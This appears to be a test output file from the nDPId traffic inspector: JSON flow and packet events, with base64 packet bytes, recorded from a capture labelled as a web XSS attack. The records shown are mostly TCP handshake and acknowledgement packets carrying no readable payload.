QvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":638,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1499347039587,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52978,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":638,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347039,"pkt_ts_usec":587218,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LfVAAD4Gl9usEAABwKgKMs7yAFDXyAPWAAAAAKACchCExgAAAgQFtAQCCAoBOS4jAAAAAAEDAwc="} +00442{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":639,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347039,"pkt_ts_usec":587331,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzvKH9tkB18gD16AScSAhMAAAAgQFtAQCCAoD4v+aATkuIwEDAwc="} +00431{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":640,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347039,"pkt_ts_usec":588141,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LfZAAD4Gl+KsEAABwKgKMs7yAFDXyAPXh\/bZAoAQAOXANwAAAQEICgE5LiMD4v+a"} +00430{"flow_id":42,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":644,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347039,"pkt_ts_usec":617421,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rP9AAD4GGNmsEAABwKgKMs68AFB+VYXfYjYTFIARAOWIfgAAAQEICgE5LisD4vqa"} +00431{"flow_id":42,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347039,"pkt_ts_usec":617602,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07LVAAEAG1yLAqAoyrBAAAQBQzrxiNhMUflWF4IARAOODeAAAAQEICgPi\/6EBOS4r"} +00430{"flow_id":42,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347039,"pkt_ts_usec":618164,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rQBAAD4GGNisEAABwKgKMs68AFB+VYXgYjYTFYAQAOWDdgAAAQEICgE5LisD4v+h"} +00430{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":653,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347041,"pkt_ts_usec":618348,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OHBAAD4GjWisEAABwKgKMs7KAFDI6hIL0h2HoYARAOXKBQAAAQEICgE5MB8D4vvb"} +00430{"flow_id":43,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":654,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347041,"pkt_ts_usec":618698,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0hjdAAEAGPaHAqAoyrBAAAQBQzsrSHYehyOoSDIARAOPESwAAAQEICgPjAZYBOTAf"} +00430{"flow_id":43,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":655,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347041,"pkt_ts_usec":619465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OHFAAD4GjWesEAABwKgKMs7KAFDI6hIM0h2HooAQAOXESQAAAQEICgE5MB8D4wGW"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":659,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1499347042150,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53004,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":659,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347042,"pkt_ts_usec":150116,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8q1JAAD4GGn6sEAABwKgKMs8MAFB23Zv2AAAAAKACchBK9gAAAgQFtAQCCAoBOTCkAAAAAAEDAwc="} +00442{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":660,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347042,"pkt_ts_usec":150244,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzwwb3aSHdt2b96AScSCFcgAAAgQFtAQCCAoD4wIbATkwpAEDAwc="} +00430{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":661,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347042,"pkt_ts_usec":150994,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0q1NAAD4GGoWsEAABwKgKMs8MAFB23Zv3G92kiIAQAOUkegAAAQEICgE5MKQD4wIb"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":668,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1499347043416,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53018,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":668,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347043,"pkt_ts_usec":416905,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8okxAAD4GI4SsEAABwKgKMs8aAFDJVZOtAAAAAKACchD\/ewAAAgQFtAQCCAoBOTHhAAAAAAEDAwc="} +00442{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":669,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347043,"pkt_ts_usec":417034,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzxosqk4zyVWTrqAScSB+QwAAAgQFtAQCCAoD4wNXATkx4QEDAwc="} +00430{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":670,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347043,"pkt_ts_usec":417769,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ok1AAD4GI4usEAABwKgKMs8aAFDJVZOuLKpONIAQAOUdSwAAAQEICgE5MeED4wNX"} +00431{"flow_id":44,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":674,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347043,"pkt_ts_usec":618407,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03pVAAD4G50KsEAABwKgKMs7kAFBDY\/JJuaT1l4ARAOUVTAAAAQEICgE5MhMD4v5S"} +00430{"flow_id":44,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":675,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347043,"pkt_ts_usec":618673,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA09h1AAEAGzbrAqAoyrBAAAQBQzuS5pPWXQ2PySoARAOMQFQAAAQEICgPjA4oBOTIT"} +00431{"flow_id":44,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":676,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347043,"pkt_ts_usec":619404,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03pZAAD4G50GsEAABwKgKMs7kAFBDY\/JKuaT1mIAQAOUQEwAAAQEICgE5MhMD4wOK"} +00431{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347044,"pkt_ts_usec":618475,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LfdAAD4Gl+GsEAABwKgKMs7yAFDXyAPXh\/bZAoARAOW7TAAAAQEICgE5Mw0D4v+a"} +00430{"flow_id":45,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":681,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347044,"pkt_ts_usec":618713,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA03YZAAEAG5lHAqAoyrBAAAQBQzvKH9tkC18gD2IARAOO2YwAAAQEICgPjBIQBOTMN"} +00431{"flow_id":45,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":682,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347044,"pkt_ts_usec":619476,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LfhAAD4Gl+CsEAABwKgKMs7yAFDXyAPYh\/bZA4AQAOW2YQAAAQEICgE5Mw0D4wSE"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":683,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1499347044676,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53032,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":683,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347044,"pkt_ts_usec":676186,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8QP5AAD4GhNKsEAABwKgKMs8oAFCcEnPlAAAAAKACchBLPwAAAgQFtAQCCAoBOTMbAAAAAAEDAwc="} +00442{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":684,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347044,"pkt_ts_usec":676326,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzyh2l2DwnBJz5qAScSBsIQAAAgQFtAQCCAoD4wSSATkzGwEDAwc="} +00430{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":685,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347044,"pkt_ts_usec":677088,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QP9AAD4GhNmsEAABwKgKMs8oAFCcEnPmdpdg8YAQAOULKAAAAQEICgE5MxwD4wSS"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":698,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1499347047249,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53058,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":698,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347047,"pkt_ts_usec":249299,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rOxAAD4GGOSsEAABwKgKMs9CAFBNBJlzAAAAAKACchByIQAAAgQFtAQCCAoBOTWfAAAAAAEDAwc="} +00443{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":699,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347047,"pkt_ts_usec":249425,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz0I8cGwCTQSZdKAScSC\/lQAAAgQFtAQCCAoD4wcVATk1nwEDAwc="} +00430{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":700,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347047,"pkt_ts_usec":250184,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rO1AAD4GGOusEAABwKgKMs9CAFBNBJl0PHBsA4AQAOVenQAAAQEICgE5NZ8D4wcV"} +00430{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":704,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347047,"pkt_ts_usec":619018,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0q1RAAD4GGoSsEAABwKgKMs8MAFB23Zv3G92kiIARAOUfIgAAAQEICgE5NfsD4wIb"} +00431{"flow_id":46,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":705,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347047,"pkt_ts_usec":619278,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0o\/pAAEAGH97AqAoyrBAAAQBQzwwb3aSIdt2b+IARAOMZzAAAAQEICgPjB3IBOTX7"} +00430{"flow_id":46,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":706,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347047,"pkt_ts_usec":620071,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0q1VAAD4GGoOsEAABwKgKMs8MAFB23Zv4G92kiYAQAOUZygAAAQEICgE5NfsD4wdy"} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":707,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":13,"flow_first_seen":1499346976677,"flow_last_seen":1499346982914,"flow_tot_l4_data_len":7284,"flow_min_l4_data_len":32,"flow_max_l4_data_len":5362,"flow_avg_l4_data_len":560,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52300,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":707,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":10,"flow_first_seen":1499346976999,"flow_last_seen":1499346982906,"flow_tot_l4_data_len":2401,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1739,"flow_avg_l4_data_len":240,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52318,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":707,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":6,"flow_first_seen":1499346976999,"flow_last_seen":1499346982607,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52320,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":707,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":6,"flow_first_seen":1499346976999,"flow_last_seen":1499346982607,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52320,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":710,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1499347048548,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53072,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":710,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347048,"pkt_ts_usec":548242,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rW1AAD4GGGOsEAABwKgKMs9QAFDoOZuOAAAAAKACchDTfgAAAgQFtAQCCAoBOTbjAAAAAAEDAwc="} +00442{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":711,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347048,"pkt_ts_usec":548373,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQz1DxNtWr6Dmbj6AScSABPgAAAgQFtAQCCAoD4whaATk24wEDAwc="} +00430{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":712,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347048,"pkt_ts_usec":549137,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rW5AAD4GGGqsEAABwKgKMs9QAFDoOZuP8TbVrIAQAOWgRAAAAQEICgE5NuQD4wha"} +00430{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":716,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347048,"pkt_ts_usec":619424,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ok5AAD4GI4qsEAABwKgKMs8aAFDJVZOuLKpONIARAOUYNgAAAQEICgE5NvUD4wNX"} +00430{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":717,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347048,"pkt_ts_usec":619667,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0RlhAAEAGfYDAqAoyrBAAAQBQzxosqk40yVWTr4ARAOMTIgAAAQEICgPjCGwBOTb1"} +00430{"flow_id":47,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":718,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347048,"pkt_ts_usec":620405,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ok9AAD4GI4msEAABwKgKMs8aAFDJVZOvLKpONYAQAOUTIAAAAQEICgE5NvUD4whs"} +00430{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":725,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347050,"pkt_ts_usec":621833,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QQBAAD4GhNisEAABwKgKMs8oAFCcEnPmdpdg8YARAOUFWQAAAQEICgE5OOoD4wSS"} +00431{"flow_id":48,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347050,"pkt_ts_usec":622072,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0apBAAEAGWUjAqAoyrBAAAQBQzyh2l2DxnBJz54ARAOP\/igAAAQEICgPjCmEBOTjq"} +00431{"flow_id":48,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":727,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347050,"pkt_ts_usec":622612,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QQFAAD4GhNesEAABwKgKMs8oAFCcEnPndpdg8oAQAOX\/iAAAAQEICgE5OOoD4wph"} 